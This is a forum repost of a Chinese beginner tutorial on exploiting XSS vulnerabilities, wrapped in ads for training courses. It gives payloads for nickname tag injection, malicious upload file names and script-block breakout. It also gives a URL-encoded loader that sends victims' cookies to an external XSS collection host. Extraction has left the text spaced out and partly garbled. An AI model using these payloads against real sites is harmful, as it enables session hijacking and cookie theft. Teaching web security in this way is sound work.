搜索

[19521] 2019-08-22_【Web安全入门】三个技巧教你玩转XSS漏洞

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-18
2019-08-22_【Web安全入门】三个技巧教你玩转XSS漏洞 【 W e b 安 全 入 门 】 三 个 技 巧 教 你 玩 转 X S S 漏 洞 i 春 秋   2 0 1 9 - 0 8 - 2 2 X S S 漏 洞 是 W e b 应 用 程 序 中 最 常 见 的 漏 洞 之 一 ， 想 要 入 门 W e b 安 全 的 小 伙 伴 ， 这 个 知 识 点 是 必 学 的 。 i 春 秋 官 网 中 有 很 多 关 于 X S S 漏 洞 的 课 程 ， 新 手 小 白 可 以 去 官 网 看 课 学 习 。 学 习 地 址 ： h t t p s : / / w w w . i c h u n q i u . c o m / s e a r c h / X S S 漏 洞 这 里 先 给 大 家 推 荐 一 个 X S S 漏 洞 热 门 课 程 ， 讲 师 授 课 风 趣 幽 默 ， 内 容 由 浅 入 深 ， 学 习 人 数 已 超 过 2 7 万 ， 该 课 程 适 合 所 有 W e b 安 全 爱 好 者 。 快 速 看 课 入 口 快 速 看 课 入 口
X S S 是 一 种 经 常 出 现 在 W e b 应 用 中 的 计 算 机 安 全 漏 洞 ， 也 是 客 户 端 脚 本 安 全 的 头 号 大 敌 。 今 天 i 春 秋 跟 大 家 分 享 的 是 X S S 漏 洞 的 进 阶 篇 ， 如 何 利 用 X S S 漏 洞 的 一 些 小 技 巧 ， 希 望 对 大 家 学 习 W e b 安 全 有 所 帮 助 。 污 染 标 签 污 染 标 签 简 单 的 说 ， X S S 漏 洞 的 本 质 就 是 输 入 与 输 出 。 比 如 ， 我 的 Q Q 网 名 是 ： 1 结 果 就 被 污 染 成 1 这 样 的 话 我 就 成 功 弹 窗 了 ， 但 又 有 什 么 用 呢 ？ 我 们 可 以 构 造 语 句 ： " 你 的 网 名 " > < i n p u t   v a l u e = " " >
1 这 样 我 们 就 能 成 功 打 到 c o o k i e 了 。 文 件 名 称 文 件 名 称 X S S 有 些 网 站 有 上 传 点 ， 但 是 后 台 并 未 对 文 件 名 做 更 改 。 比 如 上 传 以 后 前 端 代 码 是 这 样 的 ： 1 1 . r a r 假 设 就 是 我 们 上 传 的 文 件 。 < i n p u t   v a l u e = " " # f f 0 0 0 0 " > h t t p % 3 A % 2 F % 2 F x s s n o w . c o m % 2 F d Z J 4 % 3 F % 2 2 % 2 B M a t h . r a n d o m % 2 8 % 2 9 % 3 B % 2 8 d o c u m e n t . g e t E l e m e n t s B y T a g N a m e % 2 8 % 2 2 H E A D % 2 2 % 2 9 % 5 B 0 % 5 D % 7 C % 7 C d o c u m e n t . b o d y % 2 9 . a p p e n d C h i l d % 2 8 b % 2 9 % 3 B / . s o u r c e ) ) ; " > < a   h r e f = " h t t p : / / 1 2 7 . 0 . 0 . 1 / u p l o a d / 1 . r a r " > t e s t < / a >
我 们 是 不 是 又 可 以 构 造 语 句 闭 合 或 者 污 染 标 签 ， 值 得 一 提 的 是 ， 你 需 要 抓 包 改 文 件 名 （ 想 在 W i n d o w s 环 境 下 改 ， 你 去 试 试 就 知 道 是 怎 么 回 事 了 ） 我 们 就 改 成 ：
1 这 样 的 话 ， 就 变 成 ： 成 功 弹 窗 ， 如 果 过 滤 了 尖 括 号   <   > 就 可 以 按 照 之 前 讲 的 标 签 污 染 法 ， 让 它 执 行 我 们 的 J S 语 句 。 闭 合 闭 合 J S " > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > . r a r
有 时 候 ， J S 会 调 用 我 们 网 站 的 一 些 资 料 ， 类 似 昵 称 。
0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 1 0 1 1 1 2         因 为 我 们 昵 称 是 被 包 含 在 < h e a d > 里 ， 我 们 无 法 利 用 。 < h t m l > < h e a d > < s c r i p t >                 n a m e = s q l e r ；                 < / s c r i p t > < / h e a d > < b o d y > w e l c o m e   s q l e r ； < / b o d y > < / h t m l >
这 样 我 们 就 需 要 为 它 打 开 一 个 新 大 门 。 1 < / s c r i p t > < / h e a d > < b o d y > < i m g   s r c = x   o n e r r o r = a l e r t ( 1 ) >
这 样 我 们 就 成 功 弹 窗 。 以 上 就 是 今 天 要 分 享 的 内 容 ， 是 不 是 很 简 单 。 X S S 漏 洞 是 W e b 安 全 入 门 必 掌 握 的 知 识 点 ， 当 然 还 有 C S R F 漏 洞 、 W e b s h e l l 与 文 件 上 传 漏 洞 、 S Q L 注 入 等 等 ， 如 果 想 要 全 面 系 统 的 学 习 W e b 安 全 入 门 课 程 ， 可 以 到 i 春 秋 官 网 （ i c h u n q i u . c o m / t r a i n ） 进 行 报 名 。 快 速 报 名 入 口 快 速 报 名 入 口 面 向 人 群 面 向 人 群 信 息 安 全 小 白 、 高 等 院 校 信 息 安 全 、 网 络 空 间 安 全 专 业 学 生 、 信 息 安 全 爱 好 者 、 W e b 应 用 开 发 人 员 。 学 习 方 式 学 习 方 式 通 过 在 线 视 频 学 习 资 源 ， 结 合 实 验 练 习 ， 带 你 全 方 位 学 习 W e b 安 全 。 上 课 期 间 助 教 老 师 实 时 在 互 动 区 进 行 沟 通 答 疑 ， 若 脱 离 上 课 时 间 可 在 班 级 内 老 师 答 疑 模 块 中 进 行 问 题 咨 询 留 言 。 学 习 时 间 学 习 时 间 W e b 安 全 入 门 班 每 月 有 两 次 报 名 机 会 ， 大 家 可 以 根 据 自 己 实 际 情 况 进 行 相 应 选 择 ， 学 习 时 间 灵 活 ， 非 常 适 合 上 班 族 的 新 手 小 白 们 。 课 程 目 标 课 程 目 标
1 、 了 解 W e b 应 用 程 序 架 构 ； 2 、 熟 悉 W e b 常 见 漏 洞 原 理 ； 3 、 掌 握 W e b 基 础 安 全 漏 洞 利 用 方 式 与 防 御 方 法 ； 4 、 熟 悉 渗 透 测 试 流 程 ； 5 、 熟 练 使 用 多 种 渗 透 测 试 工 具 。 课 程 介 绍 课 程 介 绍 课 程 以 漏 洞 为 核 心 ， 从 W e b 应 用 架 构 、 漏 洞 原 理 ， 利 用 方 式 与 防 御 方 法 等 ， 多 方 面 剖 析 W e b 应 用 安 全 相 关 知 识 ， 并 以 此 为 基 础 学 习 渗 透 测 试 的 操 作 流 程 及 各 阶 段 工 作 内 容 ， 熟 悉 渗 透 测 试 工 具 的 使 用 。 课 程 优 势 课 程 优 势 1 、 低 门 槛 、 易 学 习 ； 2 、 知 识 点 配 套 实 验 ； 3 、 助 教 老 师 答 疑 。 通 过 以 上 内 容 的 介 绍 ， 如 果 还 有 其 他 疑 问 ， 欢 迎 大 家 前 来 咨 询 ， 我 们 会 有 更 专 业 的 老 师 为 你 讲 解 ， 给 你 答 疑 解 惑 。 咨 询 快 速 入 口 咨 询 快 速 入 口 E n d 热 门 回 顾 热 门 回 顾
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理